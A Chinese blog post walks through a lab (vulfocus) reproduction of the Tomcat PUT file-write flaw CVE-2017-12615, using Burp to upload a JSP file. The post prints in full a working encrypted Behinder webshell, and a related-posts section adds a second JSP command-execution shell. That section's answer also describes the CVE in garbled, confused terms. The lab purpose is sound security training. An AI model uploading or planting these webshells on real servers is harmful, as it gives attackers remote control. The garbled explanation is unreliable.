使用vulfocus靶场复现Tomcat 任意写入文件漏洞（CVE-2017-12615）

已于 2022-10-15 18:22:54 修改
阅读量1k 收藏 4
点赞数
分类专栏： 信息安全 文章标签： tomcat java 网络安全 web安全 系统安全
于 2022-10-15 17:33:13 首次发布
R0ot
本文链接：https://blog.csdn.net/scxiaotan1/article/details/127337961
版权

Tomcat 任意写入文件漏洞（CVE-2017-12615）

搜索CVE-2017-12615

下载完成后可再首页启动环境

访问192.168.229.130:50997即可打开tomcat 文件上传 (CVE-2017-12615)漏洞环境

确定环境没有问题

打开burpsuite 进行任意文件上传

配置burpsuite 代理

复制about:preferences到火狐浏览器中打开，配置代理

再次刷新浏览器可以看到数据已经经过burpsuite代理了

点击send Repeater

修改GET类型为PUT，之后再 最下面插入冰蝎一句话木马，点击send返回201说明成功了

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

打开冰蝎子进行连接

https://github.com/rebeyond/Behinder/releases/download/Behinder_v4.0.5/behinder_v4.0.5.zip

unzip behinder_v4.0.5.zip

java -jar Behinder.jar

运行后可以看到报错了，JDK版本为11.0，冰蝎需要在Java1.8.0下运行

下载jdk1.8.0，进行安装

jdk1.8.0-331.tar.gz安装包-Java文档类资源-CSDN下载

tar zxvf  jdk1.8.0_331.tar.gz
mv jdk1.8.0_331 /opt
update-alternatives --install /usr/bin/java java /opt/jdk1.8.0_331/bin/java 1
update-alternatives --install /usr/bin/javac javac /opt/jdk1.8.0_331/bin/javac 1
update-alternatives --set java /opt/jdk1.8.0_331/bin/java
update-alternatives --set javac /opt/jdk1.8.0_331/bin/javac
java -version

可以看到版本已经为1.8.0了，我们再次运行冰蝎子

java -jar Behinder.jar

新增一个shell链接

http://192.168.229.130:50997/test.jsp

点击保存后双击链接即可打开shell

打开文件管理 /tmp下就可以看到flag

复制flag 进行提交

通过

R0ot
关注
  • 0
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
TomcatPUT的文件上传漏洞(CVE-2017-12615)
weixin_52458793的博客
02-12 1130
详细教程
TOMCAT PUT方法任意写文件(CVE-2017-12615)-靶场复现
m0_66376444的博客
04-06 579
当 Tomcat 运行在 Windows 主机上，且启用了 HTTP PUT 请求方法（例如，将 readonly 初始化参数由默认值设置为 false），攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。其实tomcat会对上传的文件内容进行限制，比如说禁止上传 .jpg 后缀的文件，只不过，这个过滤机制可以通过一些windows 或着 linux的特性绕过。2、修改请求协议PUT加文件名，在请求主体内写入可执行代码，点击发送。本次测试版本：Tomcat版本：8.5.19。
vulfocus的使用
最新发布
qq_59020256的博客
04-19 437
docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.0.105 vulfocus/vulfocus用户名：admin密码：admin。
vulfocus靶场搭建（实测）
热门推荐
m0_50406447的博客
07-28 3万+
vulfocus的特性 1.启动：一键漏洞环境启动，方便简单。 2.自带 Flag 功能：每次启动 flag 都会自动更新，明确漏洞是否利用成功。 3.带有计分功能也可适用于相关安全人员能力的考核。 4.兼容 Vulhub、Vulapps 中所有漏洞镜像。 一、使用centos7作为靶机环境 1.挂载镜像 mkdir /mnt/cdrom:创建挂载点 mount /dev/cdrom /mnt/cdrom:镜像挂载 注意：这个必须已连接，否则镜像挂载失败 2.配置yum源 (1)进入y
tomcat7.x远程命令执行（CVE-2017-12615）漏洞利用复现
m0_58606546的博客
01-11 3980
一、漏洞前言 2017年9月19日，Apache Tomcat官方确认并修复了两个高危漏洞，漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间，在一定条件下，攻击者可以利用这两个漏洞，获取用户服务器上 JSP 文件的源代码，或是通过精心构造的攻击请求，向用户服务器上传恶意JSP文件，通过上传的 JSP 文件 ，可在用户服务器上执行任意代码，从而导致数据泄露或获取服务器权限，存在高安全风险 二、漏洞名称 CVE-2017-12615-远程代
CVE-2017-12615-master.zip
09-04
CVE-2017-12615漏洞利用工具；CVE-2017-12615漏洞利用工具；
Nginx越界读取缓存漏洞 CVE-2017-7529
03-13
Nginx在反向代理站点的时候，通常会将一些文件进行缓存，特别是静态文件。缓存的部分存储在文件中，每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件，则Nginx会直接将...
浅谈Node.js CVE-2017-14849 漏洞分析（详细步骤）
10-19
主要介绍了浅谈Node.js CVE-2017-14849 漏洞分析（详细步骤）,小编觉得挺不错的，现在分享给大家，也给大家做个参考。一起跟随小编过来看看吧
CVE-2017-7921海康威视配置文件解码(configfile解码)
12-11
具体影响产品型号，请参考CVE-2017-7921；CVE-2017-7922漏洞详情。该程序发布，意在警醒相关单位及时更新相关设备，网络安全需要大家共同监督。(ps:工具不会使用可以私信我，直接差评的一律自理)
【漏洞复现-Tomacat-文件上传】vulfocus/tomcat-cve_2017_12615
10-09 1265
【Tomacat-文件上传】
Vulhub靶场——Tomcat的CVE-2017-12615文件漏洞
edsion4的博客
12-04 632
Vulhub靶场——Tomcat的CVE-2017-12615文件漏洞
vulhub靶场-tomcat漏洞复现
m0_62008601的博客
07-23 1277
tomcat漏洞复现合集
vulfocus靶场安装教程
Gjqhs的博客
03-02 7452
搭建环境：虚拟机centos7，基于docker vulfocus的特性 1.启动：一键漏洞环境启动，方便简单。 2.自带 Flag 功能：每次启动 flag 都会自动更新，明确漏洞是否利用成功。 3.带有计分功能也可适用于相关安全人员能力的考核。 4.兼容 Vulhub、Vulapps 中所有漏洞镜像。 1.挂载镜像 mkdir /mnt/cdrom:创建挂载点 mount /dev/cdrom /mnt/cdrom:镜像挂载 2.配置yum源 (1)进入yum配置.
使用AWVS进行漏洞扫描实验，保姆教程
大河之犬的博客
11-18 2074
对于相当数量的网安学生，他们其实最终还是去做了计科的工作，也就是开发岗，这是因为网安都岗位相对较少而且要求较高，要面对那些从小开始搞的天才少年们，因此想要从事本专业工作的同学联系读研深造。如果不想进大厂，也可国企，体制，比较有特色的就是国安局，我觉得还是很香的，这种首先很吃学校和学历还有学长之间的内推，所以要尽力提升学校档次。总的来说，网安目前是一个需求量不大，要求高，待遇还可以的专业。kali（或者其他的linux系统）预装的源来自于国外的服务器，我们可以把apt的源设置为国内的镜像源，加快速度。
【漏洞复现-EmpireCms-文件上传】vulfocus/empirecms-cve_2018_18086
10-09 1697
【EmpireCms-文件上传】帝国建站
WSO2 文件上传 （CVE-2022-29464）漏洞复现
weixin_42675091的博客
09-03 1704
WSO2 文件上传 （CVE-2022-29464）漏洞复现
[Vulfocus解题系列]Spring WebFlow 远程代码执行漏洞（CVE-2017-4971）
00勇士王子的博客
03-29 437
Spring WebFlow 是一个适用于开发基于流程的应用程序的框架（如购物逻辑），可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中，如果我们控制了数据绑定时的field，将导致一个SpEL表达式注入漏洞，最终造成任意命令执行。影响版本：Spring Web Flow 2.4.0 到 2.4.4。
cve-2017-12615漏洞复现
06-28
### 回答1： cve-2017-12615漏洞是Apache Tomcat服务器中的一个远程代码执行漏洞。攻击者可以通过发送特定的HTTP请求来利用该漏洞，从而在服务器上执行任意代码。 要复现该漏洞，需要满足以下条件： 1. 目标服务器上运行的是Apache Tomcat 7..至7..79版本或8.5.至8.5.16版本。 2. 目标服务器上存在一个Web应用程序，其中包含一个可上传文件的Servlet。 3. 目标服务器上的Web应用程序未正确配置，允许攻击者上传包含恶意代码的JSP文件。 攻击者可以通过发送以下HTTP请求来利用该漏洞： PUT /test.jsp/ HTTP/1.1 Host: target.com Connection: close Content-Length: 100 <% out.println("Hello, world!"); %> 其中，test.jsp是攻击者上传的包含恶意代码的JSP文件。攻击者还需要在请求中包含一个特殊的Content-Type头，以触发漏洞。 如果攻击成功，攻击者就可以在目标服务器上执行任意代码，包括获取敏感信息、修改数据或者控制整个服务器。因此，建议管理员及时升级Apache Tomcat服务器，或者对Web应用程序进行正确的配置和安全审计。 ### 回答2： CVE-2017-12615漏洞是Apache Tomcat中的一个目录遍历漏洞，它使得攻击者能够通过发送特定的HTTP请求，获取Tomcat服务器上应用程序的敏感信息。这种漏洞的原因是Tomcat默认启用了WebDAV（Web Distributed Authoring and Versioning）服务，攻击者可以发送特定的HTTP PUT请求利用该漏洞向服务器发送恶意的WAR文件，并且可以通过使用Windows UNC路径造成RCE漏洞。 下面是CVE-2017-12615漏洞的复现步骤： 1.安装Tomcat服务器 2.根据Tomcat的版本，下载特定的利用工具（e.g.,ysoserial.jar 或者wmx.jar）。 3.使用ysoserial.jar或者wmx.jar（如图所示）创建一个恶意文件，并通过PUT请求将它上传到目标服务器。 4.在表单中输入如下内容： PUT /test.txt/WEB-INF/web.xml HTTP/1.1 Host: [Tomcat address]:[listening port] User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/xml Content-Length: 284 <?xml version="1.0"?> <!DOCTYPE x [ <!ELEMENT x ANY> <!ENTITY % p1 SYSTEM "file:///c:/windows/system32/test.bat"> <!ENTITY % p2 "<!ENTITY p3 '′%p1;%p1;′'>"> %p2;%p3; ]> 5.从服务器上获取war文件并进行反序列化，验证漏洞是否真实存在。 6.如果漏洞存在，则攻击者可以使用该漏洞获取Tomcat服务器上应用程序的敏感信息，并且可以在服务器上执行任意命令。 为了缓解该漏洞产生的风险，我们可以通过禁用WebDAV服务、运行Tomcat服务器以非特权用户身份、 对上传文件类型进行限制， 或者升级最新的Tomcat版本等方式来解决该漏洞。 ### 回答3： CVE-2017-12615 是 Apache Tomcat 中的一个远程代码执行漏洞。该漏洞存在于 Tomcat 7.0.0 到 7.0.79 版本和 Tomcat 8.5.0 到 8.5.16 版本中。攻击者可以利用该漏洞通过 HTTP 协议上传恶意 JSP 文件并执行任意命令。 为了演示该漏洞的复现，我们需要先搭建一个虚拟机环境来运行 Apache Tomcat。在这里，我们以 Ubuntu 16.04.6 LTS 作为漏洞环境的操作系统。 安装 Apache Tomcat 首先，我们需要安装 Apache Tomcat。在终端窗口中执行以下命令： sudo apt-get update sudo apt-get install tomcat7 安装完成后，我们可以通过访问以下 URL 来确认 Tomcat 是否成功安装： http://localhost:8080/ 如果可以看到 Tomcat 的欢迎页面，则说明安装成功。 复现漏洞 接下来，我们需要复现 CVE-2017-12615 漏洞。步骤如下： 1. 创建一个名为 test.jsp 的 JSP 文件，该文件包含以下代码： <% if ("POST".equals(request.getMethod())) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = in.readLine()) != null) { out.println(line); } in.close(); } %> 2. 通过以下命令创建一个名为 test.war 的 Web 应用程序文件： jar -cvf test.war test.jsp 3. 接下来，我们需要在 Tomcat 的 webapps 目录下创建一个名为 test 目录。接着，将上传的 test.war 文件复制到该目录下： sudo mkdir /var/lib/tomcat7/webapps/test sudo mv test.war /var/lib/tomcat7/webapps/test/ 4. 通过以下 URL 访问 test.jsp 文件，可以发现该页面中含有一个命令执行的输入框： http://localhost:8080/test/test.jsp 5. 在输入框中输入以下命令，即可执行该命令并返回结果： cmd=ls 我们可以看到，这个漏洞可以允许攻击者上传包含恶意代码的 JSP 文件并执行恶意命令，扰乱服务器系统。因此，我们需要对 Apache Tomcat 应用程序服务器进行及时修复。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

R0ot

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值